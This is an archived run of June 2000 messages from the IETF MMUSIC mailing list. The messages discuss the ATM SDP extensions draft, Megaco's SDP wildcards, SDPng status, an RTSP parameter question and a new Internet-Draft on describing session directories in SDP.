<font face="arial" size=2 color="#0000FF">In Megaco, we use SDP much more
intensively for configuration negotiation.&nbsp; To support
this,</font><br>
the MGC (call agent) can send a partially specified SDP to the MG
(gateway).<br>
When it encounters this, the MG can select any value it can<br>
support.&nbsp; The fully specified SDP is then returned to the MGC.<br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">There are two ways to
&quot;underspecify&quot;.&nbsp; One is CHOOSE ($).&nbsp; 
This</font><br>
is the same as MGCP - it means you may pick any value you can
support.<br>
The other is &quot;alternatives&quot;, which are coded like
{1,2,3}.&nbsp; This means<br>
choose any of the listed alternatives you can support.<br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">The dB range is due to the
equivalent in &quot;native&quot; annex C, which supports</font><br>
a 16 bit value.&nbsp;&nbsp; Overkill, most definitely.<br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">Brian</font><br>
<font face="tahoma" size=2><blockquote type=cite cite>-----Original
Message-----<br>
<b>From:</b> Rajesh Kumar
[<a href="mailto:rkumar@cisco.com" eudora="autourl">mailto:rkumar@cisco.com</a>]<br>
<b>Sent:</b> Monday, June 12, 2000 5:43 PM<br>
<b>To:</b> ISC_DeviceControl@inventures.com; confctrl@isi.edu<br>
<b>Cc:</b> atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com;
skaria@cisco.com<br>
<b>Subject:</b> ATM SDP draft 0.03<br>
<br>
</font><font color="#0000FF">Team,<br>
Attached is an updated version (0.03) of the ATM SDP draft. It has all
your comments<br>
factored in (and I mean all of them :-)<br>
<br>
The document is missing page numbers, which will not be added until the
IETF submission<br>
draft (0.04). Since I do not know of a good way to convert word processor
files into<br>
plain text, I am editing a plain text document and I need to insert Page
#s, formatting<br>
etc. manually.<br>
<br>
I plan to issue another draft following your next round of comments. This
next<br>
draft (0.04) will be presented to the IETF with (possible) final call at
the<br>
Pittsburgh meeting. Since I need to generate and submit the next draft
(0.04) by<br>
the IETF cut-off date of July 10, I would appreciate your prompt review
of the<br>
attached document.<br>
<br>
I have not been able to comprehend the following statement in the Megaco
draft about<br>
SDP. Could some one explain to me what it means in the context of the
attached SDP <br>
document? My view is that the &quot;$&quot; wildcard in SDP is equivalent
to the &quot;choose&quot; wildcard<br>
in Megaco. Also, there is no need for the violate SDP syntax in my
opinion (contrary to<br>
what Megaco says):<br>
<br>
</font><font color="#FF0000"><i>&nbsp;&nbsp; &quot;In session
descriptions sent from the MGC to the MG, the following exceptions to
the&nbsp;&nbsp;&nbsp;&nbsp; <br>
&nbsp;&nbsp;&nbsp; syntax of RFC 2327 are allowed:<br>
<br>
&nbsp;&nbsp; . the use of CHOOSE is allowed in place of a single
parameter value,and<br>
&nbsp;&nbsp; . the use of alternatives is allowed in place of a single
parameter value.&quot;<br>
<br>
</font></i><font color="#0000FF">Also, I feel that the decibel range
allowed for inserted loss in the Megaco draft is absurdly large (who
needs to insert a loss of 65,535 dB?
!!)</font></blockquote></blockquote></blockquote><br>
<br>

<font face="Garamond" color="#800000">+++++++++++++++++++++++++++++<br>
</font><font face="Garamond" size=2 color="#800000">Rajesh
Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
Carrier Packet Voice<br>
Cisco Systems, <br>
San Jose, California<br>
</font><font face="Garamond" color="#800000">+++++++++++++++++++++++++++++<br>
<i>&nbsp;<br>
</font></i></html>

--=====================_89589843==_.ALT--


From confctrl-owner  Thu Jun 15 00:25:19 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA16848
	for confctrl-outgoing; Thu, 15 Jun 2000 00:25:19 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA16843
	for <confctrl@zephyr.isi.edu>; Thu, 15 Jun 2000 00:25:18 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id AAA15380
	for <confctrl@ISI.EDU>; Thu, 15 Jun 2000 00:25:48 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e5F7Pl326963;
	Thu, 15 Jun 2000 09:25:48 +0200 (MET DST)
Message-Id: <200006150725.e5F7Pl326963@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Thu, 15 Jun 2000 09:24:07 +0200
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic <confctrl@ISI.EDU>
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Re: Status of SDPng
Cc: sip@lists.bell-labs.com
In-Reply-To: <39448358.48155264@lmf.ericsson.se>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id AAA16844
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Gonzalo,

the last available draft is draft-ott-mmusic-caps-01.txt which is currently
being heavily revised (note that the syntax section in the end is just giving
examaples).  At the moment we working on completing the modeling aspects
taking into account the various signaling protocols available (particularly
H.323 and SIP, also MEGACO to some degree) to provide a sufficiently rich yet
reasonably simple means for description that can satisfy the needs of all these
protocols.  We also consider local interaction between system components
(e.g. via the Mbus) for the modeling looking into how to model call,
conferences, applications (=media sessions), and individual media streams.
(this has to fit with SIP, SIP call control services, a future conference control
protocol, RTSP, and who knows what).  This model then needs to be linked to
the concrete syntax (a step that is entirely omitted in the old draft).

>From a syntax point of view, we are yet undecided.  There is good reasoning to
stick close to the current SDP syntax to allow smooth introduction of new features
into implementations and retain backward compatibility.  And this is what we would
like to achieve given the increasing installed base of SDP.  Nevertheless, a little
more expressiveness for grouping, alternatives and the like would be nice to have.
There are ideas how you can do this without breaking SDP syntax but the semantics
typically changes with such extensions so that a new version numbers allowing for
new features does not seem unreasonable either.

We plan to publish the revised draft as basis for discussion by the end of June
or the beginning of July.

Of course, we welcome any input on all of this.

Joerg


>Hi,
>
>I would like to know the status of the so called, SDPng. Is there any
>draft available about it? Are there folks working on it? Time frame for
>this work, goals...
>
>Thanks,
>
>Gonzalo
>-- 
>Gonzalo Camarillo         Phone :  +358  9 299 33 71
>Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
>Telecom R&D               Fax   :  +358  9 299 30 52
>FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
>Finland
> 

-------------------------------------------------------------------------------
Joerg Ott                                                  jo@tzi.uni-bremen.de
Universitaet Bremen, Germany                              fax + 49 421 218-7000
Center for Computing Technology (TZI)                   voice + 49 421 201-7028
Digital Media and Networks                     http://www.tzi.uni-bremen.de/dmn


From confctrl-owner  Thu Jun 15 02:57:14 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA23879
	for confctrl-outgoing; Thu, 15 Jun 2000 02:57:14 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA23874
	for <confctrl@zephyr.isi.edu>; Thu, 15 Jun 2000 02:57:13 -0700 (PDT)
Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id CAA19380
	for <confctrl@isi.edu>; Thu, 15 Jun 2000 02:57:36 -0700 (PDT)
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA16511;
	Thu, 15 Jun 2000 05:57:02 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA16296;
	Thu, 15 Jun 2000 05:57:02 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <MR1YT1JQ>; Thu, 15 Jun 2000 05:57:01 -0400
Message-ID: <9523A991F7AED311A8B900508B6701F4378733@dl-msgusr-01.eu.fore.com>
From: "Mackey, Michael" <Michael.Mackey@marconi.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>,
        "Rosen, Brian"
	 <Brian.Rosen@marconi.com>,
        ISC_DeviceControl@inventures.com, confctrl@ISI.EDU
Cc: atmsdp@eng.fore.com, mmostafa@cisco.com, hisham@cisco.com,
        rizvan@cisco.com, rbiskner@cisco.com, joestone@cisco.com,
        skaria@cisco.com, "Shanahan,Tim" <Tim.Shanahan@marconi.com>,
        "flynn, martin" <Martin.Flynn@marconi.com>,
        "van Schelven, Richard"
	 <Richard.VanSchelven@marconi.com>
Subject: RE: ATM SDP draft 0.03
Date: Thu, 15 Jun 2000 05:55:38 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I suppose its my own fault for not being more specific. The problem I've
noticed is I don't see where you specifiy the RTP port(s) in your SDP
description if you want to do RTP/AAL5. The normal place for it is the m=
line with the <port>/<no. of ports> but in your document you specify the m=
line to have the format

"m=audio <virtualConnectionId> AALn/AVP <payloadType#1>
<payloadType#2>...<payloadType #n><portId>/<vpi>/<vci>" 

with <virtualConnectionId> specified as 

        * VCCI-<vcci>
        * <ATMaddressType>-<ATMaddress>/VCCI-<vcci>
        * BCG-<bcg>/VCCI-<vcci>
        * PORT-<portId>/VPI-<vpi>/VCI-<vci>
        * BCG-<bcg>/VPI-<vpi>/VCI-<vci>
        * VPCI-<vpci>/VCI-<vci>

Have I missed something ?

Michael Mackey,
Marconi Communications,
Tel: +353 1 2804533
- www.marconi.com -
-----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: Thursday, June 15, 2000 12:50 AM
To: Mackey, Michael; Rosen, Brian; ISC_DeviceControl@inventures.com;
confctrl@isi.edu
Cc: atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com;
Shanahan,Tim; flynn, martin
Subject: RE: ATM SDP draft 0.03


At 12:21 PM 6/14/00 -0400, Mackey, Michael wrote: 

I'm new to this list so the usual disclaimer but am I right in thinking that
this document is purely for using sdp to control an ATM gateway in a VTOA
case. Has anyone thought about VoIP e.g Annex C ?
 
  "Although   RTP encapsulation defined in rfc1889 is not used, the
   payload type variables are used exactly as defined in rfc1890.
   Hence, the protocols used for VoAAL1 and VoAAL5 are identified as
   AAL1/AVP and AAL5/AVP in the media information line."


Michael, VoIP is addressed by rfc2327 (SDP), h.248/megaco, MGCP etc.
Everything is first done for VoIP and then adapted to VoATM. It is VoATM,
not VoIP, that is the step-child of packet telephony.

Having said that, Annex C of H.323 is not VoIP. It is RTP on raw AAL5 with
no intervening IP layer. It does include interoperability with VoIP.

Yes, we have addressed Annex C of H.323 in the SDP extensions document (0.03
revision) that I sent out last week. Please review the parameters therein
against Annex C of H.323 and let me know if I have missed something. The
intent is go attempt to go to standards track in the July Pittsbutgh IETF.

Rajesh





 
Michael Mackey,
Marconi Communications,
Tel: +353 1 2804533
- www.marconi.com -

-----Original Message-----
From: Rosen, Brian 
Sent: Monday, June 12, 2000 10:53 PM
To: 'Rajesh Kumar'; ISC_DeviceControl@inventures.com; confctrl@isi.edu
Cc: atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com
Subject: RE: ATM SDP draft 0.03

I'll look closely at the draft over the next several days.
 
In Megaco, we use SDP much more intensively for configuration negotiation.
To support this,
the MGC (call agent) can send a partially specified SDP to the MG (gateway).
When it encounters this, the MG can select any value it can
support.  The fully specified SDP is then returned to the MGC.
 
There are two ways to "underspecify".  One is CHOOSE ($).  This
is the same as MGCP - it means you may pick any value you can support.
The other is "alternatives", which are coded like {1,2,3}.  This means
choose any of the listed alternatives you can support.
 
The dB range is due to the equivalent in "native" annex C, which supports
a 16 bit value.   Overkill, most definitely.
 
Brian

-----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: Monday, June 12, 2000 5:43 PM
To: ISC_DeviceControl@inventures.com; confctrl@isi.edu
Cc: atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com
Subject: ATM SDP draft 0.03

Team,
Attached is an updated version (0.03) of the ATM SDP draft. It has all your
comments
factored in (and I mean all of them :-)

The document is missing page numbers, which will not be added until the IETF
submission
draft (0.04). Since I do not know of a good way to convert word processor
files into
plain text, I am editing a plain text document and I need to insert Page #s,
formatting
etc. manually.

I plan to issue another draft following your next round of comments. This
next
draft (0.04) will be presented to the IETF with (possible) final call at the
Pittsburgh meeting. Since I need to generate and submit the next draft
(0.04) by
the IETF cut-off date of July 10, I would appreciate your prompt review of
the
attached document.

I have not been able to comprehend the following statement in the Megaco
draft about
SDP. Could some one explain to me what it means in the context of the
attached SDP 
document? My view is that the "$" wildcard in SDP is equivalent to the
"choose" wildcard
in Megaco. Also, there is no need for the violate SDP syntax in my opinion
(contrary to
what Megaco says):

   "In session descriptions sent from the MGC to the MG, the following
exceptions to the     
    syntax of RFC 2327 are allowed:

   . the use of CHOOSE is allowed in place of a single parameter value,and
   . the use of alternatives is allowed in place of a single parameter
value."

Also, I feel that the decibel range allowed for inserted loss in the Megaco
draft is absurdly large (who needs to insert a loss of 65,535 dB? !!)


+++++++++++++++++++++++++++++
Rajesh Kumar         
 rkumar@cisco.com                 
408 527 0811                
Carrier Packet Voice
Cisco Systems, 
San Jose, California
+++++++++++++++++++++++++++++
 

From confctrl-owner  Fri Jun 16 02:39:48 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA19197
	for confctrl-outgoing; Fri, 16 Jun 2000 02:39:48 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA19192
	for <confctrl@zephyr.isi.edu>; Fri, 16 Jun 2000 02:39:47 -0700 (PDT)
Received: from motgate.mot.com (motgate.mot.com [129.188.136.100])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id CAA25962
	for <confctrl@ISI.EDU>; Fri, 16 Jun 2000 02:40:18 -0700 (PDT)
Received: [from pobox.mot.com (pobox.mot.com [129.188.137.100]) by motgate.mot.com (motgate 2.1) with ESMTP id CAA11220 for <confctrl@ISI.EDU>; Fri, 16 Jun 2000 02:40:31 -0700 (MST)]
Received: [from hpux4.miel.mot.com (hpux4.miel.mot.com [217.1.84.89]) by pobox.mot.com (MOT-pobox 2.0) with ESMTP id CAA10852 for <confctrl@ISI.EDU>; Fri, 16 Jun 2000 02:40:29 -0700 (MST)]
Received: from shruthi.miel.mot.com (shruthi.miel.mot.com [217.1.127.76])
	by miel.mot.com (8.9.3/8.9.3) with ESMTP id PAA02605
	for <confctrl@ISI.EDU>; Fri, 16 Jun 2000 15:15:06 +0530 (IST)
Received: from miel.mot.com (pc126125.miel.mot.com [217.1.126.125])
	by shruthi.miel.mot.com (8.9.1/8.9.1) with ESMTP id PAA27186
	for <confctrl@ISI.EDU>; Fri, 16 Jun 2000 15:10:13 +0530 (IST)
Message-ID: <3949F60B.5990786@miel.mot.com>
Date: Fri, 16 Jun 2000 15:10:27 +0530
From: mdseema <mdseema@miel.mot.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: RTSP Query
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I am Ms. Seema working for Motorola. I am into implementation of RTSP
Client.I am not sure how to handle SET_PARAMETER and GET_PARAMETER
methods. Can you throw some light

Thanks
Seema





From confctrl-owner  Fri Jun 16 12:07:40 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA27356
	for confctrl-outgoing; Fri, 16 Jun 2000 12:07:40 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA27351
	for <confctrl@zephyr.isi.edu>; Fri, 16 Jun 2000 12:07:38 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id MAA14772
	for <confctrl@ISI.EDU>; Fri, 16 Jun 2000 12:08:22 -0700 (PDT)
Received: from jeffa_laptop ([172.23.100.152])
	by prognet.com (8.9.2/8.9.0) with ESMTP id MAA30979;
	Fri, 16 Jun 2000 12:08:30 -0700 (PDT)
Message-Id: <4.2.0.58.20000616115919.0411d100@mail.real.com>
X-Sender: jeffa@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 16 Jun 2000 12:03:18 -0700
To: mdseema <mdseema@miel.mot.com>, confctrl@ISI.EDU
From: Jeff Ayars <jeffa@real.com>
Subject: Re: RTSP Query
In-Reply-To: <3949F60B.5990786@miel.mot.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There are no standardized parameters at this time.  Simply returning 451 is 
all that is required.  If there is a set of parameters that make sense for 
your client, you could have code to handle them and publish them with our 
client to enable others to have deeper integration with your client.

JEff

At 03:10 PM 6/16/00 +0530, mdseema wrote:
>Hi,
>
>I am Ms. Seema working for Motorola. I am into implementation of RTSP
>Client.I am not sure how to handle SET_PARAMETER and GET_PARAMETER
>methods. Can you throw some light
>
>Thanks
>Seema
>
>



From confctrl-owner  Wed Jun 21 08:56:52 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA21213
	for confctrl-outgoing; Wed, 21 Jun 2000 08:56:52 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA21208
	for <confctrl@zephyr.isi.edu>; Wed, 21 Jun 2000 08:56:51 -0700 (PDT)
Received: from insynergy.com ([63.74.114.149])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA04079
	for <confctrl@isi.edu>; Wed, 21 Jun 2000 08:57:36 -0700 (PDT)
Received: from FEIDY [212.87.204.214] by insynergy.com with ESMTP
  (SMTPD32-5.05) id A7D5D2011A; Wed, 21 Jun 2000 12:05:41 -0400
Message-ID: <004701bfdb99$4f71cac0$0ac8c880@FEIDY>
From: "Fernando Orus" <forus@insynergy.com>
To: <confctrl@ISI.EDU>
Subject: New at this list
Date: Wed, 21 Jun 2000 17:56:41 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

I've just joined to this mailing list. I am starting the development of a
lightweight SIP client.
I would like to know if this is the proper place to discuss issues related
to this sort of development.

Regards,
Fernando Orus


From confctrl-owner  Wed Jun 21 12:13:32 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA14150
	for confctrl-outgoing; Wed, 21 Jun 2000 12:13:32 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA14136
	for <confctrl@zephyr.isi.edu>; Wed, 21 Jun 2000 12:13:27 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id MAA15650
	for <confctrl@ISI.EDU>; Wed, 21 Jun 2000 12:14:10 -0700 (PDT)
Received: from dynamicsoft.com (1Cust239.tnt2.freehold.nj.da.uu.net [63.17.114.239])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id PAA15883;
	Wed, 21 Jun 2000 15:15:27 -0400 (EDT)
Message-ID: <3951144C.16511B3D@dynamicsoft.com>
Date: Wed, 21 Jun 2000 15:15:24 -0400
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Fernando Orus <forus@insynergy.com>
CC: confctrl@ISI.EDU
Subject: Re: New at this list
References: <004701bfdb99$4f71cac0$0ac8c880@FEIDY>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Work on sip takes place on the sip mailing list:

sip@lists.bell-labs.com

-Jonathan R.


Fernando Orus wrote:
> 
> Hi all,
> 
> I've just joined to this mailing list. I am starting the development of a
> lightweight SIP client.
> I would like to know if this is the proper place to discuss issues related
> to this sort of development.
> 
> Regards,
> Fernando Orus

-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Fri Jun 23 03:45:28 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA03975
	for confctrl-outgoing; Fri, 23 Jun 2000 03:45:28 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA03968
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jun 2000 03:45:26 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id DAA25460
	for <confctrl@isi.edu>; Fri, 23 Jun 2000 03:46:10 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA06270;
	Fri, 23 Jun 2000 06:46:10 -0400 (EDT)
Message-Id: <200006231046.GAA06270@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-directory-type-01.txt
Date: Fri, 23 Jun 2000 06:46:10 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Describing session directories in SDP
	Author(s)	: R. Finlayson
	Filename	: draft-ietf-mmusic-sdp-directory-type-01.txt
	Pages		: 4
	Date		: 22-Jun-00
	
A directory containing a set of media sessions - each described using
the Session Description Protocol (SDP) [1] - can itself be treated as
a media session, with its own SDP description.  This document
shows how a session directory can be described, using SDP,
within one or more other session directories.  This increases the
flexibility and scalability of the directory system.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-directory-type-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-directory-type-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-directory-type-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000622112225.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-directory-type-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-directory-type-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000622112225.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Jun 23 12:45:10 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA17658
	for confctrl-outgoing; Fri, 23 Jun 2000 12:45:10 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA17648
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jun 2000 12:45:07 -0700 (PDT)
Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id MAA18877
	for <confctrl@ISI.EDU>; Fri, 23 Jun 2000 12:45:52 -0700 (PDT)
Received: from kaipara.live.com (mg137-115.ricochet.net [204.179.137.115])
	by proxy4.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id MAA14150
	for <confctrl@ISI.EDU>; Fri, 23 Jun 2000 12:44:23 -0700 (PDT)
Message-Id: <4.3.1.1.20000623123329.00b65190@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Fri, 23 Jun 2000 12:42:30 -0700
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: Re: I-D ACTION:draft-ietf-mmusic-sdp-directory-type-01.txt
In-Reply-To: <200006231046.GAA06270@ietf.org>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FYI, I updated this draft in response to discussion at (& prior to) the 
Adelaide meeting.  Previously, 'directory' sessions were defined as
         m=directory <port> SAP
but "directory" is not a MIME type, so alternatives were discussed.  The 
best idea that came up at Adelaide (from Mark Handley, I think) was
         m=application <port> SAP SDP
so the current version of the draft reflects this change.

         Ross.


From confctrl-owner  Mon Jun 26 08:53:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA01430
	for confctrl-outgoing; Mon, 26 Jun 2000 08:53:44 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA01425
	for <confctrl@zephyr.isi.edu>; Mon, 26 Jun 2000 08:53:42 -0700 (PDT)
Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA23469
	for <confctrl@ISI.EDU>; Mon, 26 Jun 2000 08:54:27 -0700 (PDT)
Received: from zrchb213.us.nortel.com (actually zrchb213) 
          by smtprch1.nortel.com; Mon, 26 Jun 2000 10:48:30 -0500
Received: from zrtpd00n.us.nortel.com ([47.156.175.67]) 
          by zrchb213.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id NQCKLA3X; Mon, 26 Jun 2000 10:49:58 -0500
Received: from americasm01.nt.com (brtpt835.us.nortel.com [47.202.32.90]) 
          by zrtpd00n.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id L13J9KXX; Mon, 26 Jun 2000 11:49:56 -0400
Message-ID: <39577AEC.4E5F44AE@americasm01.nt.com>
Date: Mon, 26 Jun 2000 11:46:52 -0400
X-Sybari-Space: 00000000 00000000 00000000
From: "Doug Weisenberg" <dougw@nortelnetworks.com>
Organization: Nortel Networks
X-Mailer: Mozilla 4.06 [en] (Win95; I)
MIME-Version: 1.0
To: Joerg Ott <jo@tzi.uni-bremen.de>
CC: mmusic <confctrl@ISI.EDU>
Subject: Re: Status of SDPng
